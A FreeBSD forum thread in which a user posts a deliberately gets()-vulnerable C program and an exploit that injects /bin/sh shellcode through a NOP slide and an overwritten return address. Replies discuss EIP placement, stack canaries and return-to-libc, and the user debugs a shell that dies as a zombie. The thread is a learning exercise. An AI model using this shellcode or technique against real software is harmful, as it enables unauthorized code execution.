Spawning shell using buffer overflow in C program

C, C++, Python, Perl, Shell, etc.

Spawning shell using buffer overflow in C program

Postby TariqYousaf » 06 Jan 2010, 22:36

I have written a program "master.c" that is using gets and is vulnerable to buffer overflow:

Code: Select all
//----- master.c -- MASTER PROGRAM ------------------------------
#include <stdio.h>

int main(int argc, char** argv)
{
    char buf[100];
   
    printf("Please enter your name: ");
    fflush(stdout);
    gets(buf);
    printf("Hello \"%s\"\n", buf);
}

void notcalled(void)
{
    printf("This is a secret string");
}



I have written another program "shellcode.c" that overflows the buffer in master.c and tried to spawn a shell at the terminal:

Code: Select all
//---- shellcode.c --- MY PROGRAM ----------------------------
#include <stdio.h>

char shellops[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

#define NOP        0x90
#define BUFLEN    108
#define RETADDR    0xbfbffa4c

int main(void)
{
    char buf[BUFLEN];
    int i;
   
    for (i=0; i<BUFLEN; i+=4)
        *(long *)&buf[i] = RETADDR;
   
    for (i=0; i<50; i++)
        *(buf+i) = NOP;
   
    memcpy(buf+i, shellops, strlen(shellops));

    printf("%s", buf);

    return 0;
}


To achieve this, I have already written the assembly program to spawn the shell and obtained the OP codes against the assembly code. Then I have written a C program to create a char buffer containing those OP codes and tried to overflow the buffer of the master program.... so that the return address of the main is overwritten with the address of the char buffer containing the code for spawning the shell.

When it comes to passing the input string (i.e. the buffer containing the shell spawning code) to the master program, I have simply used the piped out of my program to the master program (i.e. standard output and standard input).

i.e. [FILE]TY@Bash$ ./shellcode | ./master[/FILE]

Unfortunately, this trick doesn't work for me, even with a lot of variations in address and the code.

I need to know all the possible ways to pass the data (containing the OP codes) to the master program ... when required by GETS().

** As a verification, I have already checked the code overflow the buffer of my own program i.e. shellcode.c and found that it spawns the shell successfully. I have even tried adding an instruction for "INT3" it works fine. This leads me conclude the following:
- Either I am not passing the string to the master program in the correct way.
- Or I am unable to locate the correct address of the variable 'buf' in master.c to return to.
TariqYousaf
Junior Member
 
Posts: 6
Joined: 06 Jan 2010, 22:24

Postby DutchDaemon » 06 Jan 2010, 23:26

Please use [code] tags and leave the fonts alone.
( Posting and Editing in the FreeBSD Forums )
User avatar
DutchDaemon
Old Fart
 
Posts: 10463
Joined: 16 Nov 2008, 20:17
Location: The Netherlands

Postby SirDice » 07 Jan 2010, 08:10

Senior UNIX Engineer at Unix Support Nederland
Experience is something you don't get until just after you need it.
User avatar
SirDice
Old Fart
 
Posts: 16153
Joined: 17 Nov 2008, 16:50
Location: Rotterdam, Netherlands

Postby Alt » 07 Jan 2010, 11:27

When i tested same mechanigs long time ago, i used many NOPs for more graceful EIP "landing"
User avatar
Alt
Member
 
Posts: 726
Joined: 18 Nov 2008, 12:22
Location: Mother Russia

Postby SirDice » 07 Jan 2010, 12:12

Alt wrote:When i tested same mechanigs long time ago, i used many NOPs for more graceful EIP "landing"

That's the easiest way to do it, it's called a NOP slide ;)

You basically get the correct point to insert the 'new' EIP. The new address points somewhere in the middle of the NOP slide. Then you don't have to be so exact. At the end of the NOP slide is the shell code.
Senior UNIX Engineer at Unix Support Nederland
Experience is something you don't get until just after you need it.
User avatar
SirDice
Old Fart
 
Posts: 16153
Joined: 17 Nov 2008, 16:50
Location: Rotterdam, Netherlands

Postby TariqYousaf » 07 Jan 2010, 16:02

But I have tried executing some other commands like '/usr/bin/who' , '/bin/hostname' but a set of commands like '/bin/sh', '/bin/bash', '/bin/ls' don't work... I wonder there is any special difference between these commands....!!!

Thanks for your worth it comments though, I'm trying the way out with more NOPs to hit the right address.
TariqYousaf
Junior Member
 
Posts: 6
Joined: 06 Jan 2010, 22:24

Postby SirDice » 07 Jan 2010, 16:16

TariqYousaf wrote:But I have tried executing some other commands like '/usr/bin/who' , '/bin/hostname' but a set of commands like '/bin/sh', '/bin/bash', '/bin/ls' don't work... I wonder there is any special difference between these commands....!!!

Yes, there is no /bin/bash :e

You need to make absolutely sure you've got the right spot where EIP gets overwritten. This is usually the hardest part of the exploit.
Senior UNIX Engineer at Unix Support Nederland
Experience is something you don't get until just after you need it.
User avatar
SirDice
Old Fart
 
Posts: 16153
Joined: 17 Nov 2008, 16:50
Location: Rotterdam, Netherlands

Postby LateNiteTV » 07 Jan 2010, 19:59

does freebsd use a non executable stack?
maybe returning into libc is what you need to do.
LateNiteTV
Member
 
Posts: 391
Joined: 19 Nov 2008, 20:18
Location: palm springs

Postby SirDice » 07 Jan 2010, 20:28

LateNiteTV wrote:does freebsd use a non executable stack?

AFAIK no. But if I'm not mistaken 8.0-release was the first release to use SSP (stack-smashing protector) aka ProPolice. Which uses canaries to detect/prevent stack based overflows. This might be the reason why it's not succeeding.

http://en.wikipedia.org/wiki/Buffer_overflow_protection


maybe returning into libc is what you need to do.

I'd say give it a shot, I'm too rusty to do it hands-on these days :e
Senior UNIX Engineer at Unix Support Nederland
Experience is something you don't get until just after you need it.
User avatar
SirDice
Old Fart
 
Posts: 16153
Joined: 17 Nov 2008, 16:50
Location: Rotterdam, Netherlands

Postby TariqYousaf » 07 Jan 2010, 21:32

Yes, there is no /bin/bash

:P sorry for the typo I meant '/usr/local/bin/bash'.
AFAIK no. But if I'm not mistaken 8.0-release was the first release to use SSP (stack-smashing protector) aka ProPolice. Which uses canaries to detect/prevent stack based overflows. This might be the reason why it's not succeeding.

Let me clear my point please.
1- I'm using FreeBSD 4.8.
2- I've successfully smashed the stack and executed the code to run the commands like 'who', 'hostname' and 'pwd'.
3- I'm unable to execute 'sh', 'bash' and 'ls'.

Please advise!!!
TariqYousaf
Junior Member
 
Posts: 6
Joined: 06 Jan 2010, 22:24

Postby TariqYousaf » 07 Jan 2010, 21:35

Is there any special difference in the internal working of 'sh' & 'bash' as compared to 'who' & 'hostname'?
TariqYousaf
Junior Member
 
Posts: 6
Joined: 06 Jan 2010, 22:24

Postby TariqYousaf » 12 Jan 2010, 00:36

Hey guys... I've figured out the reason why the shell is not getting spawned but still don't know beneath the surface i.e. how to get it solved; so I need to give you guys an SOS call ... :)

Actually, shell is generated as a Zombie process for a couple of seconds and then it gets destroyed.

Could you please suggest me a way out of this...!
TariqYousaf
Junior Member
 
Posts: 6
Joined: 06 Jan 2010, 22:24

Postby TariqYousaf » 12 Jan 2010, 02:55

Morever, the execve man says:
Code: Select all
execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program
loaded. The program invoked inherits the calling process's PID


But in my case, if I debug the program and try to execute the injected code, it executes the 'sh' but as a Zombie whose Parent ID is the vulnerable program (i.e. MASTER.C as mentioned in the first post) where as according to the 'execve man' it should be the Id of the shell I'm executing the program in.
TariqYousaf
Junior Member
 
Posts: 6
Joined: 06 Jan 2010, 22:24

Any solution to the problem?

Postby mathlabi » 13 May 2012, 07:18

Tariq,

Did you find any solution to the problem? Could you please post the assembly code and the debugger code also?

Thanks

Jeff
mathlabi
Junior Member
 
Posts: 1
Joined: 13 May 2012, 06:49


Return to Userland Programming & Scripting

Who is online

Users browsing this forum: No registered users and 0 guests